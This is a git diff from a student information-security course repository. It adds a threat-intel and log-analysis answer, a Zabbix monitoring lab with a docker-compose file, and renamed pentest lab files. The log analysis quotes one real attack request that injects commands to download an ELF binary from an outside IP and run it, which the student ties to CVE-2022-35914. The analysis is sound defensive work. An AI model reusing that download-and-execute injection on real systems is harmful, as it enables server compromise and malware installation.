diff --git a/01-main/02-monitoring/01-intro/README.md b/01-main/02-monitoring/01-intro/README.md new file mode 100644 index 0000000..459857d --- /dev/null +++ b/01-main/02-monitoring/01-intro/README.md @@ -0,0 +1,42 @@ +# Задание 1 + +Согласно найденным отчётам по хостнейму и IP-адресу: + +https://any.run/report/6dd737167202586feffdf37f3883461de94a1c01051a32b30db66fc1db5a681d/11691868-8155-4601-9cc5-ebdd94a77b79 +https://otx.alienvault.com/indicator/ip/103.53.42.223 + +Данный домен скорее всего участвовал в рассылке вредоносных файлов. + +1. В список IOC можно предложить указать хэши вредоносных файлов, связанных с данным доменом, например: + +``` +bae8ebd43fe0bc8c5bce6d5b8986589434e434b9a0023c7f535e6269858e4d7d +6DD737167202586FEFFDF37F3883461DE94A1C01051A32B30DB66FC1DB5A681D +fde3341015c7de7383bca14b2e62336bd685f1abc4105ad5d4eba6d13da09f15 +65f81879b5421a5683de158629677f153d046ce7dc81fb770d3b2ca9cbd8d47f +17d1bbe4053498d4a7db1eda9e477d7d86b1b538afa4b9a9f7579676459c17c4 +b963fdcb37b1ea21efd4d930112e3e7636d16160699eaa09d4e1e23a2f12f00a +``` + +Также можно добавить IP-адрес данного домена, так как взломан может целый почтовый сервис, который хостит множество почтовых доменов (103.53.42.223) + +Дополнительно, можно предположить, что сайт хостится на сервисе (*.webhostbox.net), все поддомены можно также добавить в список IOC. + +2. Сам хост по совокупности не похож на зараженный в привычном понимании (родительский домен в каких-либо базах вредоносов не находится), вероятнее всего был взломан почтовый сервер и хоста (в отчетах имеются даже учетные данные, с помощью которых проводилась рассылка), после чего он использовался для спам рассылок вредоносных файлов (значатся различные семейства Trojan и шифровальщиков, например AgentTesla, ZeuS) с других уже зараженных машин. + +# Задание 2 + +Самым важным моментом логов можно считать следующую запись: +``` +47.243.78.78 - - [21/Oct/2022:00:33:56 +0300] "GET /vendor/htmlawed/htmlawed/233.php?123456=rm%20-f%20linux*;wget%20http://67.198.237.116/linux_x86;curl%20-O%20http://67.198.237.116/linux_x86;chmod%20777%20*;./linux_x86;rm%20-f%20linux_x86.*;rm%20-f%20md*;rm%20-f%20x* HTTP/1.1" 200 5800 "-" "python-requests/2.27.1" +``` +Это запрос с User-agent "python-requests/2.27.1" возвративший 200 ответ. +User-agent python-requests говорит о том, что данный запрос вероятно создан с помощью библиотеки Python. А 200 ответ говорит, что сервер вернул некое содержимое и отработал запрос. А куча bash-команд в запросе говорит нам о вероятной эксплуатации атаки типа PHP-Injection (https://owasp.org/www-community/attacks/Code_Injection) + +1. ELF-файл скорее всего скачивается с помощью wget с хоста http://67.198.237.116, после чего происходит выдача ему привилегий (chmod) и запуск (./linux_x86) + +Имя elf-файла -- linux_x86. + +2. Вероятнее всего с активностью ассоциируется уязвимость CVE-2022-35914 (https://nvd.nist.gov/vuln/detail/CVE-2022-35914). Понять это можно по пути до скрипта в запросе (/vendor/htmlawed/htmlawed/233.php), при этом в уязвимости описывается эксплуатация через POST-запрос и другое имя уязвимого скрипта, так что можно предположить, что 233.php уже является PHP-шеллом, загруженным на уязвимый сервер в результате эксплуатации. + +Итоговый ответ (по форме: имя ELF-файла (слитно), CVE-идентификатор уязвимости (слитно)): linux_x86, CVE-2022-35914 \ No newline at end of file diff --git a/01-main/02-monitoring/03-monitoring/README.md b/01-main/02-monitoring/03-monitoring/README.md new file mode 100644 index 0000000..60b5f61 --- /dev/null +++ b/01-main/02-monitoring/03-monitoring/README.md @@ -0,0 +1,168 @@ +# Модуль 3. Мониторинг информационной безопасности и оценка рисков +## Мониторинг, аналитика и оценка рисков ИБ. Задание 4 +### Ход лабораторной работы +#### Развертывание Zabbix +1. Для развертывания Zabbix воспользуемся официальной документацией, в части касающейся использования Docker-контейнера для развертывания. + +``` +https://www.zabbix.com/documentation/current/en/manual/installation/containers +https://github.com/zabbix/zabbix-docker +``` + +2. Сформируем docker-compose.yaml, запустим его и убедимся в старте сервисов + +```yaml +version: '3.5' +services: + server: + image: zabbix/zabbix-server-pgsql:alpine-latest + ports: + - "10051:10051" + volumes: + - /etc/localtime:/etc/localtime + - /etc/timezone:/etc/timezone + restart: always + depends_on: + - postgres-server + environment: + - POSTGRES_USER=zabbix + - POSTGRES_PASSWORD=zabbix + - POSTGRES_DB=zabbixNew + - ZBX_HISTORYSTORAGETYPES=log,text #Zabbix configuration variables + - ZBX_DEBUGLEVEL=1 + - ZBX_HOUSEKEEPINGFREQUENCY=1 + - ZBX_MAXHOUSEKEEPERDELETE=5000 + - ZBX_PROXYCONFIGFREQUENCY=3600 + web-nginx-pgsql: + image: zabbix/zabbix-web-nginx-pgsql:alpine-latest + ports: + - "80:8080" + - "443:8443" + volumes: + - /etc/localtime:/etc/localtime + - /etc/timezone:/etc/timezone + - /etc/ssl/nginx:/etc/ssl/nginx + healthcheck: + test: ["CMD", "curl", "-f", "http://localhost:8080/"] + interval: 10s + timeout: 5s + retries: 3 + start_period: 30s + sysctls: + - net.core.somaxconn=65535 + restart: always + depends_on: + - server + - postgres-server + environment: + - POSTGRES_USER=zabbix + - POSTGRES_PASSWORD=zabbix + - POSTGRES_DB=zabbixNew + - ZBX_SERVER_HOST=server + - ZBX_POSTMAXSIZE=64M + - PHP_TZ=Europe/Moscow + - ZBX_MAXEXECUTIONTIME=500 + agent: + image: zabbix/zabbix-agent:alpine-latest + ports: + - "10050:10050" + volumes: + - /etc/localtime:/etc/localtime + - /etc/timezone:/etc/timezone + - /proc:/proc + - /sys:/sys + - /dev:/dev + - /var/run/docker.sock:/var/run/docker.sock + privileged: true + pid: "host" + restart: always + depends_on: + - server + environment: + - ZBX_SERVER_HOST=server + + postgres-server: + image: postgres:16.2 + restart: always + volumes: + - pg_data:/var/lib/postgresql/data + environment: + - POSTGRES_PASSWORD=zabbix + - POSTGRES_USER=zabbix + - POSTGRES_DB=zabbixNew +volumes: + pg_data: +``` +![alt text](img/01.png) + +3. Проверим веб-интерфейс на наличие запущенного Zabbix + +![alt text](img/02.png) + +Zabbix развернут, можно приступать к работе. + +4. Войдём в Zabbix с использованием учетных данных `Admin/zabbix` + +![alt text](img/03.png) + +Тут мы видим, что у нас уже имеется один хост, который сообщает о проблеме. Это уведомление о недоступности агента самого Zabbix-сервера, который был развернут в контейнере `agent` (в соответствии с docker-compose файлом) + +5. Исправим эту проблему, для этого перейдем в настройки данного хоста и установим его опрос с помощью Zabbix-агента через DNS имя, вместо IP-адреса. + +![alt text](img/04.png) + +6. Спустя пару секунд мы наблюдаем, что связность появилась. + +![alt text](img/05.png) + +7. Дополнительно создадим ещё одно устройство, это будет мой маршрутизатор Mikrotik. В качестве интерфейса подключения назначим SNMP. + +![alt text](img/06.png) + +8. Добавим 2 элемента данных: + +Проверку доступности по ICMP: + +![alt text](img/07.png) + +Текущий аптайм в милисекундах: + +![alt text](img/08.png) + +#### Создание кастомных дашбордов + +1. Приступим к созданию своего дашборда с мониторингом интересующих нас параметров. + +![alt text](img/09.png) + +2. Добавим виджет доступности узлов сети + +![alt text](img/10.png) + +3. Добавим виджет с информацией об Uptime Mikrotik. + +![alt text](img/11.png) + +4. Виджет с информацией о системе в целом. + +![alt text](img/12.png) + +5. Настроим виджеты с информацией об аптайме ОС, утилизации процессора и памяти. + +6. В итоге мы получили следующий дашборд. + +![alt text](img/13.png) + +7. Теперь можно добавить пару графиков, например график доступности Mikrotik (основан на метрике доступности по ICMP) и утилизацию сервера Zabbix (по CPU) + +![alt text](img/14.png) + +![alt text](img/15.png) + + +## Выводы + +Лабортаорная работа завершена. В ходе работы мы научились разворачивать Zabbix и добавлять устройства в мониторинг. Устройства, на которые нельзя установить Zabbix-агент по прежнему могут быть поставлены на мониторинг, например с помощью SNMP. Zabbix очень функциональный open-source инструмент мониторинга, который очень в том числе в Enterprise среде за свою стабильность, большие возможности и широкую поддержку коммьюнити. + + +**Выполнил:** Харитонов Марат Русланович, студенческий билет М235314. \ No newline at end of file diff --git a/01-main/02-monitoring/03-monitoring/img/01.png b/01-main/02-monitoring/03-monitoring/img/01.png new file mode 100644 index 0000000..c1f501f Binary files /dev/null and b/01-main/02-monitoring/03-monitoring/img/01.png differ diff --git a/01-main/02-monitoring/03-monitoring/img/02.png b/01-main/02-monitoring/03-monitoring/img/02.png new file mode 100644 index 0000000..47204d9 Binary files /dev/null and b/01-main/02-monitoring/03-monitoring/img/02.png differ diff --git a/01-main/02-monitoring/03-monitoring/img/03.png b/01-main/02-monitoring/03-monitoring/img/03.png new file mode 100644 index 0000000..6c95080 Binary files /dev/null and b/01-main/02-monitoring/03-monitoring/img/03.png differ diff --git a/01-main/02-monitoring/03-monitoring/img/04.png b/01-main/02-monitoring/03-monitoring/img/04.png new file mode 100644 index 0000000..543390a Binary files /dev/null and b/01-main/02-monitoring/03-monitoring/img/04.png differ diff --git a/01-main/02-monitoring/03-monitoring/img/05.png b/01-main/02-monitoring/03-monitoring/img/05.png new file mode 100644 index 0000000..a59823e Binary files /dev/null and b/01-main/02-monitoring/03-monitoring/img/05.png differ diff --git a/01-main/02-monitoring/03-monitoring/img/06.png b/01-main/02-monitoring/03-monitoring/img/06.png new file mode 100644 index 0000000..a3eec74 Binary files /dev/null and b/01-main/02-monitoring/03-monitoring/img/06.png differ diff --git a/01-main/02-monitoring/03-monitoring/img/07.png b/01-main/02-monitoring/03-monitoring/img/07.png new file mode 100644 index 0000000..ad8a375 Binary files /dev/null and b/01-main/02-monitoring/03-monitoring/img/07.png differ diff --git a/01-main/02-monitoring/03-monitoring/img/08.png b/01-main/02-monitoring/03-monitoring/img/08.png new file mode 100644 index 0000000..5cc74dd Binary files /dev/null and b/01-main/02-monitoring/03-monitoring/img/08.png differ diff --git a/01-main/02-monitoring/03-monitoring/img/09.png b/01-main/02-monitoring/03-monitoring/img/09.png new file mode 100644 index 0000000..601b3d9 Binary files /dev/null and b/01-main/02-monitoring/03-monitoring/img/09.png differ diff --git a/01-main/02-monitoring/03-monitoring/img/10.png b/01-main/02-monitoring/03-monitoring/img/10.png new file mode 100644 index 0000000..cc457ba Binary files /dev/null and b/01-main/02-monitoring/03-monitoring/img/10.png differ diff --git a/01-main/02-monitoring/03-monitoring/img/11.png b/01-main/02-monitoring/03-monitoring/img/11.png new file mode 100644 index 0000000..f45495b Binary files /dev/null and b/01-main/02-monitoring/03-monitoring/img/11.png differ diff --git a/01-main/02-monitoring/03-monitoring/img/12.png b/01-main/02-monitoring/03-monitoring/img/12.png new file mode 100644 index 0000000..2490126 Binary files /dev/null and b/01-main/02-monitoring/03-monitoring/img/12.png differ diff --git a/01-main/02-monitoring/03-monitoring/img/13.png b/01-main/02-monitoring/03-monitoring/img/13.png new file mode 100644 index 0000000..64b2f1c Binary files /dev/null and b/01-main/02-monitoring/03-monitoring/img/13.png differ diff --git a/01-main/02-monitoring/03-monitoring/img/14.png b/01-main/02-monitoring/03-monitoring/img/14.png new file mode 100644 index 0000000..131ced1 Binary files /dev/null and b/01-main/02-monitoring/03-monitoring/img/14.png differ diff --git a/01-main/02-monitoring/03-monitoring/img/15.png b/01-main/02-monitoring/03-monitoring/img/15.png new file mode 100644 index 0000000..ba3b7bf Binary files /dev/null and b/01-main/02-monitoring/03-monitoring/img/15.png differ diff --git a/01-main/02-monitoring/03-monitoring/zabbix/docker-compose.yaml b/01-main/02-monitoring/03-monitoring/zabbix/docker-compose.yaml new file mode 100644 index 0000000..85ae859 --- /dev/null +++ b/01-main/02-monitoring/03-monitoring/zabbix/docker-compose.yaml @@ -0,0 +1,81 @@ +version: '3.5' +services: + server: + image: zabbix/zabbix-server-pgsql:alpine-latest + ports: + - "10051:10051" + volumes: + - /etc/localtime:/etc/localtime + - /etc/timezone:/etc/timezone + restart: always + depends_on: + - postgres-server + environment: + - POSTGRES_USER=zabbix + - POSTGRES_PASSWORD=zabbix + - POSTGRES_DB=zabbixNew + - ZBX_HISTORYSTORAGETYPES=log,text #Zabbix configuration variables + - ZBX_DEBUGLEVEL=1 + - ZBX_HOUSEKEEPINGFREQUENCY=1 + - ZBX_MAXHOUSEKEEPERDELETE=5000 + - ZBX_PROXYCONFIGFREQUENCY=3600 + web-nginx-pgsql: + image: zabbix/zabbix-web-nginx-pgsql:alpine-latest + ports: + - "80:8080" + - "443:8443" + volumes: + - /etc/localtime:/etc/localtime + - /etc/timezone:/etc/timezone + - /etc/ssl/nginx:/etc/ssl/nginx + healthcheck: + test: ["CMD", "curl", "-f", "http://localhost:8080/"] + interval: 10s + timeout: 5s + retries: 3 + start_period: 30s + sysctls: + - net.core.somaxconn=65535 + restart: always + depends_on: + - server + - postgres-server + environment: + - POSTGRES_USER=zabbix + - POSTGRES_PASSWORD=zabbix + - POSTGRES_DB=zabbixNew + - ZBX_SERVER_HOST=server + - ZBX_POSTMAXSIZE=64M + - PHP_TZ=Europe/Moscow + - ZBX_MAXEXECUTIONTIME=500 + agent: + image: zabbix/zabbix-agent:alpine-latest + ports: + - "10050:10050" + volumes: + - /etc/localtime:/etc/localtime + - /etc/timezone:/etc/timezone + - /proc:/proc + - /sys:/sys + - /dev:/dev + - /var/run/docker.sock:/var/run/docker.sock + privileged: true + pid: "host" + restart: always + depends_on: + - server + environment: + - ZBX_SERVER_HOST=server + + postgres-server: + image: postgres:16.2 + restart: always + volumes: + - pg_data:/var/lib/postgresql/data + environment: + - POSTGRES_PASSWORD=zabbix + - POSTGRES_USER=zabbix + - POSTGRES_DB=zabbixNew + +volumes: + pg_data: diff --git a/pentest/01-network/01-tcpip/01-arp/docker-compose.yaml b/02-pentest/01-network/01-tcpip/01-arp/docker-compose.yaml similarity index 100% rename from pentest/01-network/01-tcpip/01-arp/docker-compose.yaml rename to 02-pentest/01-network/01-tcpip/01-arp/docker-compose.yaml diff --git a/pentest/01-network/01-tcpip/01-arp/volume/opt1.py b/02-pentest/01-network/01-tcpip/01-arp/volume/opt1.py similarity index 100% rename from pentest/01-network/01-tcpip/01-arp/volume/opt1.py rename to 02-pentest/01-network/01-tcpip/01-arp/volume/opt1.py diff --git a/pentest/01-network/01-tcpip/01-arp/volume/opt2.py b/02-pentest/01-network/01-tcpip/01-arp/volume/opt2.py similarity index 100% rename from pentest/01-network/01-tcpip/01-arp/volume/opt2.py rename to 02-pentest/01-network/01-tcpip/01-arp/volume/opt2.py diff --git a/pentest/01-network/01-tcpip/01-arp/volume/opt3.py b/02-pentest/01-network/01-tcpip/01-arp/volume/opt3.py similarity index 100% rename from pentest/01-network/01-tcpip/01-arp/volume/opt3.py rename to 02-pentest/01-network/01-tcpip/01-arp/volume/opt3.py diff --git a/pentest/01-network/01-tcpip/02-tcp/GOVNO.md b/02-pentest/01-network/01-tcpip/02-tcp/GOVNO.md similarity index 100% rename from pentest/01-network/01-tcpip/02-tcp/GOVNO.md rename to 02-pentest/01-network/01-tcpip/02-tcp/GOVNO.md diff --git a/pentest/01-network/01-tcpip/02-tcp/README.md b/02-pentest/01-network/01-tcpip/02-tcp/README.md similarity index 100% rename from pentest/01-network/01-tcpip/02-tcp/README.md rename to 02-pentest/01-network/01-tcpip/02-tcp/README.md diff --git a/pentest/01-network/01-tcpip/02-tcp/docker-compose.yaml b/02-pentest/01-network/01-tcpip/02-tcp/docker-compose.yaml similarity index 100% rename from pentest/01-network/01-tcpip/02-tcp/docker-compose.yaml rename to 02-pentest/01-network/01-tcpip/02-tcp/docker-compose.yaml diff --git a/pentest/01-network/01-tcpip/02-tcp/img/image01.png b/02-pentest/01-network/01-tcpip/02-tcp/img/image01.png similarity index 100% rename from pentest/01-network/01-tcpip/02-tcp/img/image01.png rename to 02-pentest/01-network/01-tcpip/02-tcp/img/image01.png diff --git a/pentest/01-network/01-tcpip/02-tcp/img/image02.png b/02-pentest/01-network/01-tcpip/02-tcp/img/image02.png similarity index 100% rename from pentest/01-network/01-tcpip/02-tcp/img/image02.png rename to 02-pentest/01-network/01-tcpip/02-tcp/img/image02.png diff --git a/pentest/01-network/01-tcpip/02-tcp/img/image03.png b/02-pentest/01-network/01-tcpip/02-tcp/img/image03.png similarity index 100% rename from pentest/01-network/01-tcpip/02-tcp/img/image03.png rename to 02-pentest/01-network/01-tcpip/02-tcp/img/image03.png diff --git a/pentest/01-network/01-tcpip/02-tcp/img/image04.png b/02-pentest/01-network/01-tcpip/02-tcp/img/image04.png similarity index 100% rename from pentest/01-network/01-tcpip/02-tcp/img/image04.png rename to 02-pentest/01-network/01-tcpip/02-tcp/img/image04.png diff --git a/pentest/01-network/01-tcpip/02-tcp/img/image05.png b/02-pentest/01-network/01-tcpip/02-tcp/img/image05.png similarity index 100% rename from pentest/01-network/01-tcpip/02-tcp/img/image05.png rename to 02-pentest/01-network/01-tcpip/02-tcp/img/image05.png diff --git a/pentest/01-network/01-tcpip/02-tcp/img/image06.png b/02-pentest/01-network/01-tcpip/02-tcp/img/image06.png similarity index 100% rename from pentest/01-network/01-tcpip/02-tcp/img/image06.png rename to 02-pentest/01-network/01-tcpip/02-tcp/img/image06.png diff --git a/pentest/01-network/01-tcpip/02-tcp/img/image07.png b/02-pentest/01-network/01-tcpip/02-tcp/img/image07.png similarity index 100% rename from pentest/01-network/01-tcpip/02-tcp/img/image07.png rename to 02-pentest/01-network/01-tcpip/02-tcp/img/image07.png diff --git a/pentest/01-network/01-tcpip/02-tcp/img/image08.png b/02-pentest/01-network/01-tcpip/02-tcp/img/image08.png similarity index 100% rename from pentest/01-network/01-tcpip/02-tcp/img/image08.png rename to 02-pentest/01-network/01-tcpip/02-tcp/img/image08.png diff --git a/pentest/01-network/01-tcpip/02-tcp/img/image09.png b/02-pentest/01-network/01-tcpip/02-tcp/img/image09.png similarity index 100% rename from pentest/01-network/01-tcpip/02-tcp/img/image09.png rename to 02-pentest/01-network/01-tcpip/02-tcp/img/image09.png diff --git a/pentest/01-network/01-tcpip/02-tcp/img/image10.png b/02-pentest/01-network/01-tcpip/02-tcp/img/image10.png similarity index 100% rename from pentest/01-network/01-tcpip/02-tcp/img/image10.png rename to 02-pentest/01-network/01-tcpip/02-tcp/img/image10.png diff --git a/pentest/01-network/01-tcpip/02-tcp/img/image11.png b/02-pentest/01-network/01-tcpip/02-tcp/img/image11.png similarity index 100% rename from pentest/01-network/01-tcpip/02-tcp/img/image11.png rename to 02-pentest/01-network/01-tcpip/02-tcp/img/image11.png diff --git a/pentest/01-network/01-tcpip/02-tcp/img/image12.png b/02-pentest/01-network/01-tcpip/02-tcp/img/image12.png similarity index 100% rename from pentest/01-network/01-tcpip/02-tcp/img/image12.png rename to 02-pentest/01-network/01-tcpip/02-tcp/img/image12.png diff --git a/pentest/01-network/01-tcpip/02-tcp/img/image13.png b/02-pentest/01-network/01-tcpip/02-tcp/img/image13.png similarity index 100% rename from pentest/01-network/01-tcpip/02-tcp/img/image13.png rename to 02-pentest/01-network/01-tcpip/02-tcp/img/image13.png diff --git a/pentest/01-network/01-tcpip/02-tcp/img/image14.png b/02-pentest/01-network/01-tcpip/02-tcp/img/image14.png similarity index 100% rename from pentest/01-network/01-tcpip/02-tcp/img/image14.png rename to 02-pentest/01-network/01-tcpip/02-tcp/img/image14.png diff --git a/pentest/01-network/01-tcpip/02-tcp/img/image15.png b/02-pentest/01-network/01-tcpip/02-tcp/img/image15.png similarity index 100% rename from pentest/01-network/01-tcpip/02-tcp/img/image15.png rename to 02-pentest/01-network/01-tcpip/02-tcp/img/image15.png diff --git a/pentest/01-network/01-tcpip/02-tcp/img/image16.png b/02-pentest/01-network/01-tcpip/02-tcp/img/image16.png similarity index 100% rename from pentest/01-network/01-tcpip/02-tcp/img/image16.png rename to 02-pentest/01-network/01-tcpip/02-tcp/img/image16.png diff --git a/pentest/01-network/01-tcpip/02-tcp/img/image17.png b/02-pentest/01-network/01-tcpip/02-tcp/img/image17.png similarity index 100% rename from pentest/01-network/01-tcpip/02-tcp/img/image17.png rename to 02-pentest/01-network/01-tcpip/02-tcp/img/image17.png diff --git a/pentest/01-network/01-tcpip/02-tcp/img/image18.png b/02-pentest/01-network/01-tcpip/02-tcp/img/image18.png similarity index 100% rename from pentest/01-network/01-tcpip/02-tcp/img/image18.png rename to 02-pentest/01-network/01-tcpip/02-tcp/img/image18.png diff --git a/pentest/01-network/01-tcpip/02-tcp/img/image19.png b/02-pentest/01-network/01-tcpip/02-tcp/img/image19.png similarity index 100% rename from pentest/01-network/01-tcpip/02-tcp/img/image19.png rename to 02-pentest/01-network/01-tcpip/02-tcp/img/image19.png diff --git a/pentest/01-network/01-tcpip/02-tcp/img/image20.png b/02-pentest/01-network/01-tcpip/02-tcp/img/image20.png similarity index 100% rename from pentest/01-network/01-tcpip/02-tcp/img/image20.png rename to 02-pentest/01-network/01-tcpip/02-tcp/img/image20.png diff --git a/pentest/01-network/01-tcpip/02-tcp/img/opt1.png b/02-pentest/01-network/01-tcpip/02-tcp/img/opt1.png similarity index 100% rename from pentest/01-network/01-tcpip/02-tcp/img/opt1.png rename to 02-pentest/01-network/01-tcpip/02-tcp/img/opt1.png diff --git a/pentest/01-network/01-tcpip/02-tcp/volume/opt1.py b/02-pentest/01-network/01-tcpip/02-tcp/volume/opt1.py similarity index 100% rename from pentest/01-network/01-tcpip/02-tcp/volume/opt1.py rename to 02-pentest/01-network/01-tcpip/02-tcp/volume/opt1.py diff --git a/pentest/01-network/01-tcpip/02-tcp/volume/opt2.py b/02-pentest/01-network/01-tcpip/02-tcp/volume/opt2.py similarity index 100% rename from pentest/01-network/01-tcpip/02-tcp/volume/opt2.py rename to 02-pentest/01-network/01-tcpip/02-tcp/volume/opt2.py diff --git a/pentest/01-network/01-tcpip/02-tcp/volume/opt3.py b/02-pentest/01-network/01-tcpip/02-tcp/volume/opt3.py similarity index 100% rename from pentest/01-network/01-tcpip/02-tcp/volume/opt3.py rename to 02-pentest/01-network/01-tcpip/02-tcp/volume/opt3.py diff --git a/pentest/01-network/02-scanner/01-ftp/README.md b/02-pentest/01-network/02-scanner/01-ftp/README.md similarity index 100% rename from pentest/01-network/02-scanner/01-ftp/README.md rename to 02-pentest/01-network/02-scanner/01-ftp/README.md diff --git a/pentest/01-network/02-scanner/01-ftp/ftp.pcap b/02-pentest/01-network/02-scanner/01-ftp/ftp.pcap similarity index 100% rename from pentest/01-network/02-scanner/01-ftp/ftp.pcap rename to 02-pentest/01-network/02-scanner/01-ftp/ftp.pcap diff --git a/pentest/01-network/02-scanner/01-ftp/img/image01.png b/02-pentest/01-network/02-scanner/01-ftp/img/image01.png similarity index 100% rename from pentest/01-network/02-scanner/01-ftp/img/image01.png rename to 02-pentest/01-network/02-scanner/01-ftp/img/image01.png diff --git a/pentest/01-network/02-scanner/01-ftp/img/image02.png b/02-pentest/01-network/02-scanner/01-ftp/img/image02.png similarity index 100% rename from pentest/01-network/02-scanner/01-ftp/img/image02.png rename to 02-pentest/01-network/02-scanner/01-ftp/img/image02.png diff --git a/pentest/01-network/02-scanner/01-ftp/img/image03.png b/02-pentest/01-network/02-scanner/01-ftp/img/image03.png similarity index 100% rename from pentest/01-network/02-scanner/01-ftp/img/image03.png rename to 02-pentest/01-network/02-scanner/01-ftp/img/image03.png diff --git a/pentest/01-network/02-scanner/01-ftp/img/image04.png b/02-pentest/01-network/02-scanner/01-ftp/img/image04.png similarity index 100% rename from pentest/01-network/02-scanner/01-ftp/img/image04.png rename to 02-pentest/01-network/02-scanner/01-ftp/img/image04.png diff --git a/pentest/01-network/02-scanner/01-ftp/img/image05.png b/02-pentest/01-network/02-scanner/01-ftp/img/image05.png similarity index 100% rename from pentest/01-network/02-scanner/01-ftp/img/image05.png rename to 02-pentest/01-network/02-scanner/01-ftp/img/image05.png diff --git a/pentest/01-network/02-scanner/01-ftp/img/image06.png b/02-pentest/01-network/02-scanner/01-ftp/img/image06.png similarity index 100% rename from pentest/01-network/02-scanner/01-ftp/img/image06.png rename to 02-pentest/01-network/02-scanner/01-ftp/img/image06.png diff --git a/pentest/01-network/02-scanner/01-ftp/img/image07.png b/02-pentest/01-network/02-scanner/01-ftp/img/image07.png similarity index 100% rename from pentest/01-network/02-scanner/01-ftp/img/image07.png rename to 02-pentest/01-network/02-scanner/01-ftp/img/image07.png diff --git a/pentest/01-network/02-scanner/01-ftp/img/image08.png b/02-pentest/01-network/02-scanner/01-ftp/img/image08.png similarity index 100% rename from pentest/01-network/02-scanner/01-ftp/img/image08.png rename to 02-pentest/01-network/02-scanner/01-ftp/img/image08.png diff --git a/pentest/01-network/02-scanner/01-ftp/img/image09.png b/02-pentest/01-network/02-scanner/01-ftp/img/image09.png similarity index 100% rename from pentest/01-network/02-scanner/01-ftp/img/image09.png rename to 02-pentest/01-network/02-scanner/01-ftp/img/image09.png diff --git a/pentest/01-network/02-scanner/01-ftp/vsftpd.conf b/02-pentest/01-network/02-scanner/01-ftp/vsftpd.conf similarity index 100% rename from pentest/01-network/02-scanner/01-ftp/vsftpd.conf rename to 02-pentest/01-network/02-scanner/01-ftp/vsftpd.conf diff --git a/pentest/01-network/02-scanner/02-nmap/README.md b/02-pentest/01-network/02-scanner/02-nmap/README.md similarity index 100% rename from pentest/01-network/02-scanner/02-nmap/README.md rename to 02-pentest/01-network/02-scanner/02-nmap/README.md diff --git a/pentest/01-network/02-scanner/02-nmap/img/image01.png b/02-pentest/01-network/02-scanner/02-nmap/img/image01.png similarity index 100% rename from pentest/01-network/02-scanner/02-nmap/img/image01.png rename to 02-pentest/01-network/02-scanner/02-nmap/img/image01.png diff --git a/pentest/01-network/02-scanner/02-nmap/img/image02.png b/02-pentest/01-network/02-scanner/02-nmap/img/image02.png similarity index 100% rename from pentest/01-network/02-scanner/02-nmap/img/image02.png rename to 02-pentest/01-network/02-scanner/02-nmap/img/image02.png diff --git a/pentest/01-network/02-scanner/02-nmap/img/image03.png b/02-pentest/01-network/02-scanner/02-nmap/img/image03.png similarity index 100% rename from pentest/01-network/02-scanner/02-nmap/img/image03.png rename to 02-pentest/01-network/02-scanner/02-nmap/img/image03.png diff --git a/pentest/01-network/02-scanner/02-nmap/img/image04.png b/02-pentest/01-network/02-scanner/02-nmap/img/image04.png similarity index 100% rename from pentest/01-network/02-scanner/02-nmap/img/image04.png rename to 02-pentest/01-network/02-scanner/02-nmap/img/image04.png diff --git a/pentest/01-network/02-scanner/02-nmap/img/image05.png b/02-pentest/01-network/02-scanner/02-nmap/img/image05.png similarity index 100% rename from pentest/01-network/02-scanner/02-nmap/img/image05.png rename to 02-pentest/01-network/02-scanner/02-nmap/img/image05.png diff --git a/pentest/01-network/02-scanner/02-nmap/img/image06.png b/02-pentest/01-network/02-scanner/02-nmap/img/image06.png similarity index 100% rename from pentest/01-network/02-scanner/02-nmap/img/image06.png rename to 02-pentest/01-network/02-scanner/02-nmap/img/image06.png diff --git a/pentest/01-network/02-scanner/02-nmap/img/image07.png b/02-pentest/01-network/02-scanner/02-nmap/img/image07.png similarity index 100% rename from pentest/01-network/02-scanner/02-nmap/img/image07.png rename to 02-pentest/01-network/02-scanner/02-nmap/img/image07.png diff --git a/pentest/01-network/02-scanner/02-nmap/img/image08.png b/02-pentest/01-network/02-scanner/02-nmap/img/image08.png similarity index 100% rename from pentest/01-network/02-scanner/02-nmap/img/image08.png rename to 02-pentest/01-network/02-scanner/02-nmap/img/image08.png diff --git a/pentest/01-network/02-scanner/02-nmap/img/image09.png b/02-pentest/01-network/02-scanner/02-nmap/img/image09.png similarity index 100% rename from pentest/01-network/02-scanner/02-nmap/img/image09.png rename to 02-pentest/01-network/02-scanner/02-nmap/img/image09.png diff --git a/pentest/01-network/02-scanner/02-nmap/img/image10.png b/02-pentest/01-network/02-scanner/02-nmap/img/image10.png similarity index 100% rename from pentest/01-network/02-scanner/02-nmap/img/image10.png rename to 02-pentest/01-network/02-scanner/02-nmap/img/image10.png diff --git a/pentest/01-network/02-scanner/02-nmap/img/image11.png b/02-pentest/01-network/02-scanner/02-nmap/img/image11.png similarity index 100% rename from pentest/01-network/02-scanner/02-nmap/img/image11.png rename to 02-pentest/01-network/02-scanner/02-nmap/img/image11.png diff --git a/pentest/01-network/02-scanner/02-nmap/img/image12.png b/02-pentest/01-network/02-scanner/02-nmap/img/image12.png similarity index 100% rename from pentest/01-network/02-scanner/02-nmap/img/image12.png rename to 02-pentest/01-network/02-scanner/02-nmap/img/image12.png diff --git a/pentest/01-network/02-scanner/02-nmap/img/image13.png b/02-pentest/01-network/02-scanner/02-nmap/img/image13.png similarity index 100% rename from pentest/01-network/02-scanner/02-nmap/img/image13.png rename to 02-pentest/01-network/02-scanner/02-nmap/img/image13.png diff --git a/pentest/01-network/02-scanner/03-postgresql/README.md b/02-pentest/01-network/02-scanner/03-postgresql/README.md similarity index 100% rename from pentest/01-network/02-scanner/03-postgresql/README.md rename to 02-pentest/01-network/02-scanner/03-postgresql/README.md diff --git a/pentest/01-network/02-scanner/03-postgresql/docker-compose.yaml b/02-pentest/01-network/02-scanner/03-postgresql/docker-compose.yaml similarity index 100% rename from pentest/01-network/02-scanner/03-postgresql/docker-compose.yaml rename to 02-pentest/01-network/02-scanner/03-postgresql/docker-compose.yaml diff --git a/pentest/01-network/02-scanner/03-postgresql/img/1.png b/02-pentest/01-network/02-scanner/03-postgresql/img/1.png similarity index 100% rename from pentest/01-network/02-scanner/03-postgresql/img/1.png rename to 02-pentest/01-network/02-scanner/03-postgresql/img/1.png diff --git a/pentest/01-network/02-scanner/03-postgresql/img/2.png b/02-pentest/01-network/02-scanner/03-postgresql/img/2.png similarity index 100% rename from pentest/01-network/02-scanner/03-postgresql/img/2.png rename to 02-pentest/01-network/02-scanner/03-postgresql/img/2.png diff --git a/pentest/01-network/02-scanner/03-postgresql/img/3.png b/02-pentest/01-network/02-scanner/03-postgresql/img/3.png similarity index 100% rename from pentest/01-network/02-scanner/03-postgresql/img/3.png rename to 02-pentest/01-network/02-scanner/03-postgresql/img/3.png diff --git 